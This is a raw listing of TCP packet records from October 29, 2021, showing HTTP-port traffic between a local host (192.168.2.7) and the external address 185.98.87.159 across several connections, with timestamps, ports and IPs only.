Oct 29, 2021 20:29:54.962781906 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.962863922 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.962929964 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.962948084 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.962970018 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.962990046 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.963011026 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.963031054 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.963032007 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.963052988 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.963066101 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.963074923 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.963097095 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.963097095 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.963146925 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.963160038 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.963185072 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.963207006 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.963227034 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.963247061 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.963247061 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.963268995 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.963279963 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.963289976 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.963311911 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.963330984 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.963376999 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.963681936 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.963761091 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.963783979 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.963808060 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.963829994 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.963845968 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.963872910 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.963906050 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.964067936 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.964090109 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.964109898 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.964131117 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.964152098 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.964160919 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.964171886 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.964175940 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.964195013 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.964215994 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.964237928 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.964241028 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.964255095 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.964262009 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.964283943 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.964303970 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.964317083 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.964324951 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.964345932 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:54.964391947 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:54.964401007 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:55.015042067 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.015108109 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.015147924 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.015187979 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.015225887 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.015264988 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.015258074 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:55.015304089 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.015304089 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:55.015311956 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:55.015345097 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.015383005 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.015419960 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.015446901 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:55.015460014 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.015476942 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:55.015521049 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.015568018 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.015608072 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.015628099 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:55.015723944 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:55.015722990 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.015738964 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.015742064 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.015753031 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.015763998 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.015803099 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:55.015822887 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.015866041 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.015880108 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:55.015903950 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.015944958 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.015983105 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.016000986 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:55.016024113 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.016035080 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:55.016066074 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.016103983 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.016119003 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:55.016144037 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.016182899 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.016220093 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.016237974 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:55.016258955 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.016277075 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:55.016299009 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.016351938 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:55.016415119 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.016469002 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.016511917 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.016529083 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:55.016551018 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.016590118 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.016629934 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.016644001 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:55.016671896 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.016683102 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:55.016714096 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.016756058 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.016777992 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:55.016796112 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.016835928 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.016916037 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.016968966 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.016968966 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:55.017008066 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.017035007 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:55.017055035 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:55.017070055 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.017123938 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.017585993 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:55.068018913 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.068090916 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.068114042 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:55.068212032 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:55.068543911 CEST	49783	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:55.120347023 CEST	80	49783	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:56.541198969 CEST	49786	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:56.593081951 CEST	80	49786	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:56.596673012 CEST	49786	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:56.596683025 CEST	49786	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:56.596685886 CEST	49786	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:56.670701981 CEST	80	49786	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:56.673471928 CEST	49786	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:56.673751116 CEST	49786	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:56.711527109 CEST	49787	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:56.725701094 CEST	80	49786	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:56.765939951 CEST	80	49787	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:56.767802954 CEST	49787	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:56.768024921 CEST	49787	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:56.768042088 CEST	49787	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:56.821177959 CEST	80	49787	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:56.846256018 CEST	80	49787	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:56.850146055 CEST	49787	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:56.851336956 CEST	49787	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:56.887577057 CEST	49788	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:56.904350042 CEST	80	49787	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:56.939392090 CEST	80	49788	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:56.939528942 CEST	49788	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:56.939694881 CEST	49788	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:56.939714909 CEST	49788	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:56.991336107 CEST	80	49788	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.014889956 CEST	80	49788	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.015012980 CEST	49788	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.015291929 CEST	49788	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.048605919 CEST	49789	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.067023039 CEST	80	49788	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.100413084 CEST	80	49789	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.101569891 CEST	49789	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.101701021 CEST	49789	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.101721048 CEST	49789	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.179805994 CEST	80	49789	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.180298090 CEST	49789	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.180603027 CEST	49789	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.215416908 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.232364893 CEST	80	49789	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.267530918 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.267719030 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.268543959 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.268771887 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.320435047 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.320472956 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.346498966 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.346551895 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.346590042 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.346620083 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.346630096 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.346669912 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.346698999 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.346707106 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.346745968 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.346775055 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.346785069 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.346823931 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.346863031 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.346918106 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.398899078 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.398943901 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.398967981 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.399000883 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.399068117 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.399094105 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.399105072 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.399118900 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.399142027 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.399214029 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.399243116 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.399246931 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.399255991 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.399276972 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.399308920 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.399327993 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.399353027 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.399372101 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.399378061 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.399437904 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.399446011 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.399468899 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.399492025 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.399514914 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.399537086 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.399564981 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.399585962 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.450911999 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.450938940 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.450954914 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.450974941 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.451064110 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.451083899 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.451086044 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.451107979 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.451136112 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.451199055 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.451204062 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.451222897 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.451231956 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.451282978 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.451302052 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.451304913 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.451323986 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.451342106 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.451405048 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.451431036 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.451435089 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.451436996 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.451458931 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.451476097 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.451497078 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.451513052 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.451519012 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.451602936 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.451622963 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.451623917 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.451647043 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.451663017 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.451678991 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.451710939 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.451729059 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.451731920 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.451754093 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.451772928 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.451776028 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.451881886 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.451884031 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.451935053 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.451956034 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.451975107 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.451993942 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.452013969 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.452028990 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.452047110 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.452068090 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.452089071 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.452142954 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.452263117 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.452284098 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.452306032 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.452349901 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.452364922 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.452450037 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.502782106 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.502801895 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.502820015 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.502836943 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.502907991 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.503015995 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.503031969 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.503046036 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.503048897 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.503061056 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.503084898 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.503113985 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.503114939 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.503133059 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.503153086 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.503190041 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.503190994 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.503220081 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.503232002 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.503237009 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.503252983 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.503269911 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.503287077 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.503334045 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.503351927 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.503380060 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.503424883 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.503443003 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.503458023 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.503474951 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.503488064 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.503524065 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.503541946 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.503566027 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.503583908 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.503601074 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.503618002 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.503627062 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.503671885 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.503674984 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.503691912 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.503725052 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.503742933 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.503751993 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.503781080 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.503798008 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.503799915 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.503818035 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.503834963 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.503845930 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.503851891 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.503874063 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.503894091 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.503914118 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.503930092 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.503964901 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.503964901 CEST	80	49790	185.98.87.159	192.168.2.7
